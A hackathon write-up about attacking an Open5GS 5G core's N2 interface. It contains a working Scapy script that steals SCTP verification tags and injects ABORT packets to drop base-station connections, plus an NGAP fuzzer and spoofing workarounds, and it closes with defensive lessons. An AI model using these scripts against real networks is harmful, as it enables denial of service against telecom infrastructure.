NetsLab 5GX - SecureNet 2026 Hackathon
Last week, my colleague/friend and I teamed up as the “2G” squad to take on the NetsLab 5GX - SecureNet 2026 Hackathon. The challenge? To pressure-test a live 5G Core Network, think like determined adversaries, and translate complex exploits into actionable stories for decision-makers.
Starting with limited domain knowledge, we spent days diving deep into the protocols and security gaps. Our efforts paid off: we successfully compromised the core’s signaling capabilities and secured 2nd Place.
Here is the story of how we broke the N2 interface, the technical hurdles we overcame (including some stubborn Linux kernel security), and the code that won us the second place.
The Target: Open5GS N2 Interface
The challenge focused on the N2 Interface, which connects the Cell Tower (gNodeB) to the Core Network (AMF).
Protocol: NGAP (Application Layer) over SCTP (Transport Layer).
Port: 38412.
Goal: Demonstrate impacts on Availability (DoS) and Stability.
We identified two major vulnerabilities in the default configuration:
Lack of Integrity Protection: SCTP Verification Tags are sent in cleartext.
Fragile Input Parsing: The ASN.1 parser in the Core trusts the Transport Layer too much.
Attack 1: The “SCTP Killer” (Availability DoS)
The Concept
SCTP maintains connections using a 32-bit password called a Verification Tag. Every packet must carry this tag. If an attacker knows the tag, they can inject an ABORT chunk, which tells the receiver: “I am panicking, kill the connection immediately.”
Since the N2 interface was not encrypted with IPsec, we could sniff this tag off the wire.
Technical Background: SCTP Packet Structure
To understand the attack, we analyzed the protocol itself. SCTP has a simpler basic packet structure than TCP. Each consists of two basic sections:
The common header, which occupies the first 12 bytes. In the adjacent diagram, this header is highlighted in blue.
The data chunks, which form the remaining portion of the packet. In the diagram, the first chunk is highlighted in green and the last of N chunks (Chunk N) is highlighted in red. There are several types, including payload data and different control messages.
The Common Header contains the critical Verification Tag. Because this header is unencrypted, we can simply read the first 12 bytes of any packet to find the “password” for the session.

*SCTP Packet Structure*

*List of chunk types*
The Hurdle: The “Deaf” Operating System
Our biggest challenge wasn’t the 5G protocol; it was the Linux Kernel. We were running the attack on a local VM where the Core and the Attacker shared the same machine.
Standard injection tools (
tcpreplay) failed because the OS dropped our packets as “Martians” (spoofed IPs).Standard Scapy injection failed because the OS couldn’t resolve MAC addresses for the Loopback interface.
The Fix: We utilized Scapy’s L3RawSocket. This bypasses the routing table and writes the IP packet directly to the wire, forcing the OS to deliver the payload.
The Code (n2_killer.py)
This script creates a “Trap.” It listens for a valid session, steals the tag, and instantly fires the kill shot.
Python
from scapy.all import *
INTERFACE = "lo"
TARGET_IP = "10.4.1.92"
load_contrib("sctp")
conf.L3socket = L3RawSocket
print(f"[*] SCTP Killer Loaded. Sniffing on {INTERFACE}...")
def kill_connection(pkt):
if SCTP in pkt and IP in pkt and pkt[IP].dst == TARGET_IP:
if SCTPChunkAbort in pkt or SCTPChunkShutdown in pkt: return
print(f"[!] DETECTED SESSION from {pkt[IP].src}")
stolen_tag = pkt[SCTP].tag
print(f"[+] Stolen Verification Tag: {hex(stolen_tag)}")
kill_pkt = IP(src=pkt[IP].src, dst=TARGET_IP) / \
SCTP(sport=pkt[SCTP].sport, dport=pkt[SCTP].dport, tag=stolen_tag) / \
SCTPChunkAbort()
print(f"[>>>] INJECTING ABORT...")
send(kill_pkt, verbose=0, iface=INTERFACE)
print("[*] Kill Shot Sent.")
return True
sniff(iface=INTERFACE, filter="proto 132", prn=kill_connection)
The Impact
The result was instantaneous. The moment the gNodeB attempted to connect, our script fired. The AMF logs showed a disconnection of the handshake.
[sctp] ERROR: SCTP_ABORT chunk received[amf] INFO: [Removed] Number of gNBs is now 0
Attack 2: The “Chaos Generator” (Protocol Fuzzing)
The Concept
While the Killer cut the wire, we wanted to see if we could corrupt the conversation. The 5G Core uses ASN.1 encoding for messages. It’s a complex, nested format.
We hypothesized that if we sent a packet with a valid SCTP checksum (so the OS accepts it) but a corrupted NGAP payload (bit-flipped garbage), the AMF’s parser might choke on it.
The Hurdle: Checksum Hell
If we simply modified a PCAP file and replayed it, the SCTP checksums became invalid, and the OS dropped them. Calculating CRC32c in Python is slow and error-prone.
The Fix: We built a “Smart Replayer” using Python’s native socket library. By opening a valid socket to the AMF, we let the Linux Kernel handle the difficult SCTP checksums. We just fed it garbage data to send.
The Code (n2_socket_fuzzer.py)
This script reads a valid PCAP file, extracts the payloads, corrupts random bytes, and sends them over a fresh connection.
Python
from scapy.all import *
import socket
import time
import random
# === CONFIGURATION ===
INPUT_FILE = "ens4.pcap"
TARGET_IP = "10.4.1.92"
TARGET_PORT = 38412
# =====================
load_contrib("sctp")
packets = rdpcap(INPUT_FILE)
print(f"[*] Fuzzer Ready. Target: {TARGET_IP}")
try:
# Open the valid socket (The Trojan Horse)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 132)
sock.connect((TARGET_IP, TARGET_PORT))
print("[+] Connected! Sending Poisoned Data...")
except Exception as e:
print(f"[!] Connection Failed: {e}")
exit()
count = 0
for pkt in packets:
if SCTPChunkData in pkt:
count += 1
# 1. Get the Valid Data
chunk = pkt[SCTPChunkData]
if hasattr(chunk, "data") and chunk.data: payload = bytes(chunk.data)
elif hasattr(chunk, "userData") and chunk.userData: payload = bytes(chunk.userData)
else: payload = bytes(chunk.payload)
if len(payload) > 10:
# 2. THE CORRUPTION LOGIC
# Convert to mutable array
fuzzed = bytearray(payload)
# Flip 5 random bytes to garbage
print(f"[!] Fuzzing Packet #{count}...")
for _ in range(5):
idx = random.randint(0, len(fuzzed)-1)
fuzzed[idx] = random.randint(0, 255)
# 3. Send the Poison via Valid Socket
try:
sock.send(fuzzed)
time.sleep(0.5) # Wait to see if it crashed
except Exception as e:
print(f"[!] Send failed: {e}")
print("[*] CRASH CONFIRMED? The socket closed unexpectedly.")
break
print("[*] Fuzzing Run Complete.")
sock.close()
The Impact
This attack produced a fascinating result: The Silent Drop. Instead of crashing loudly, the AMF accepted the packet (because the SCTP layer was valid) but failed to process the NGAP instruction. The logs showed:
[core] WARNING: Failed to decode ASN-PDU[amf] ERROR: Cannot decode NGAP message
The gNodeB thought it sent a request, but the Core silently discarded it. This effectively creates a “Zombie State” where the tower thinks it’s connecting, but the Core ignores it entirely.
Conclusion & Takeaways
Securing the 5G Control Plane is not just about firewalls; it’s about internal validation.
Trust Nothing: The AMF trusted the packet because the SCTP checksum was good. It should have sanitized the ASN.1 input more rigorously.
Encrypt Everything: If IPsec had been enforced on the N2 interface, we never could have sniffed the Verification Tag, rendering the “Killer” attack impossible.
References:
[1] https://en.wikipedia.org/wiki/SCTP_packet_structure
[2] https://www.sharetechnote.com/html/5G/5G_NGAP.html
[3] https://www.trendmicro.com/en_us/research/23/j/asn1-vulnerabilities-in-5g-cores.html